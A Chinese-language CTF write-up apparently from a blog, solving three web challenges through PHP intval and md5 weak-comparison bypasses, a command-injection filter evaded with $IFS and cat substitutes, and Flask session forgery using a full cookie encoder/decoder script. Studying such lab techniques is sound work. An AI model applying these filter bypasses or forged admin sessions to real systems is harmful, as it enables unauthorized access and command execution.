目录
[WUSTCTF 2020]朴实无华
[FSCTF 2023]源码!启动!
[LitCTF 2023]Flag点击就送!
相关知识点
1.intval 绕过
绕过的方式:
2.session伪造攻击
[WUSTCTF 2020]朴实无华
1.进入页面几乎没什么可用的信息,所以想到使用disearch扫描,发现robots.txt文件,这里也可以通过源代码中联想到robots文件
2.访问robots文件,发现一个php文件,访问该php文件得到一个假的flag
3.再根据扫描的文件,发现有一个fl4g.php文件,访问该文件,得到一长串php代码
4.接下来就是进行代码审计,首先是第一关卡
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
这串代码主要的作用是使用了
intval()
函数,该函数用于获取变量的整数值。它尝试从给定的变量中获取整数。接下来的if条件是一个逻辑与(&&)操作,它检查两个条件是否都为真
注意:intval()这个函数是强制转换为int类型。
举个例子:
<?php
echo '3e5' ;
?>
//结果为3e5
<?php
echo '3e5' + 1;
?>
//结果为300001
这是因为在第一个 echo
语句中,'3e5'
被视为字符串,因此会直接输出其内容 '3e5'
。而在第二个语句中,虽然 '3e5'
被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3'
解释为科学记数法表示 3 乘以 10 的 5次方,即 300000,然后再加上 1,所以结果为 300001。
5.使用如上方法,绕过第一关
6.接下来就是第二关
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//这串代码主要涉及到了弱比较
补充:==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false
7.接下来就是第三关,这串代码的关键就是过滤空格和cat,用其他的替换即可
代替cat: more、less、head、tail、sort、ca\t
代替空格:$IFS、${IFS}、$IFS$1、$IFS$9
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")) //strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
{
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);//str_replace() 函数替换字符串中的一些字符(区分大小写)。这里的意思是将get_flag字符串中的"cat"替换成"wctf2020"
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
资料参考:PHP strstr() 函数 | 菜鸟教程
PHP str_replace() 函数 | 菜鸟教程
8.按要求传参,先传个la看看,发现有回显
9.绕过最后一个关卡,得到flag
[FSCTF 2023]源码!启动!
1.进入页面,想到查看源代码,发现禁用了右键,于是在更多工具中看源代码,得到flag
[LitCTF 2023]Flag点击就送!
资料:【python】Flask之session使用_python flask session-CSDN博客
1.根据提示很容易想到要抓包,进入页面,是如下的页面
2.随便输入一个名字,出现以下页面
3.点击拿flag,出现以下回显,只有管理员可以
4.接下来使用抓包工具,发现cookie中有session的值,并根据题目可知这个题可能是session伪装漏洞
5. 打开kali,输入以下命令进行加解密session的值
这里要使用到python脚本,如果载虚拟机中操作,还涉及到将脚本保存在虚拟机的文件中
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密:python session.py decode -s “secret_key” -c “需要解密的session值”
加密:python session.py encode -s “secret_key” -t “需要加密的session值”
首先进行解密,发现是flask的session格式:
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。
其次进行加密,又因为提示是必须是管理员,所以是name:admin
将得到的session加密值传给页面的session,得到flag
相关知识点
1.intval 绕过
intval() 函数可以获取变量的「整数值」。常用于强制类型转换
进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001,那么我们成功绕过了。
绕过的方式:
1.进制类型转换
绕过思路:当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。
2.转换数组
intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。
【空数组】返回 0
【非空数组】返回 1
如果传入的 $var是数组中的某个值时,则当做变量来转换,而不是当做数组类型。
$arr1 = array(8,6);
var_dump(intval($arr1[0]));
//输出int(8)
绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
3.转换小数
intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。
绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。
4.转换字符串
intval() 转换字符串类型时,会判断字符串是否以数字开头
- 如果以数字开头,就返回1个或多个连续的数字
- 如果以字母开头,就返回0
单双引号对转换结果没有影响,并且 0 或 0x 开头也只会当做普通字符串
5.取反
intval() 函数支持一些特殊符号的,比如~取反。
绕过思路:当某个数字被过滤时,可以两次取反来绕过。
6.算数运算符
intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先运算,再对运算结果进行转换。
绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。
7.浮点数精度缺失问题
由于PHP中的浮点数是【弱类型】,存在【精度丢失】的问题,在转换时可能会出现意料之外的情况。
资料参考:WEB攻防基础|PHP|过滤函数intval()绕过原理及方法-CSDN博客
PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客
2.session伪造攻击
(1)session的作用:
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。
(2)session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击
(3)flask session的储存方式:
第一种方式:直接存在客户端的cookies中
第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。
flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
(4)flask的session格式:
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。
(5)json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array
对象:使用花括号
数组:使用方括号
字符串类型:必须使用双引号
整形、浮点型、布尔类型还有null类型
多个数据之间使用逗号分开
json本质上就是一个字符串
来看一段json数据:
{"name":"admin","age":18}
资料:https://zhuanlan.zhihu.com/p/476520054
Session攻击-CSDN博客